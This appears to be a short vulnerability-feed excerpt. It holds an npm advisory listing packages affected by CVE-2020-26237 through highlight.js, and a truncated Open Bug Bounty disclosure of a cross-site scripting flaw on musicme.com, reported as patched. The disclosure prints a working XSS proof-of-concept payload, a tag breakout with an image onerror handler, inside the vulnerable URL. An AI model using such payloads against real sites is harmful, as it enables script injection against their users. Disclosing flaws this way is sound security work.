@21epub/resource-lib (>=1.0.0, <=1.0.3), @2fn/helpers (>=1.0.0, <=1.0.1) +2862 more potentially affected by CVE-2020-26237 via highlight.js (>=9.0.0, <=9.18.1)

highlight.js NPM version =9.0.0, =1.0.0, =1.0.0, =1.0.23, =1.0.1, =1.2.0, =1.0.0, =1.1.4, =1.16.0, =2.0.0, =1.1.2, =0.5.19-20200320212412, =1.0.0-beta.10, =1.0.0-beta.14 - @adebawo-damilare/esm-reports-app 5.2.0 - @admin-bro/design-system 1.4.0 and more Source cves: CVE-2020-26237 Source advisory...

musicme.com XSS vulnerability

Vulnerable URL: https://www.musicme.com/Tjindjara/videos%3C!%27/%22//%27//%22/--%3E%3C/Script%3E%3CImage%20Srcset=K%20/;%20Onerror=confirm%60OPENBUGBOUNTY%60%20//%3E/Wessel-S-&-Lf-Project-Ft.-Tjindjara---Alive-Preview-4B677A455F2D6856376A34.html/ Details: Description| Value ---|--- Patched:| Yes,...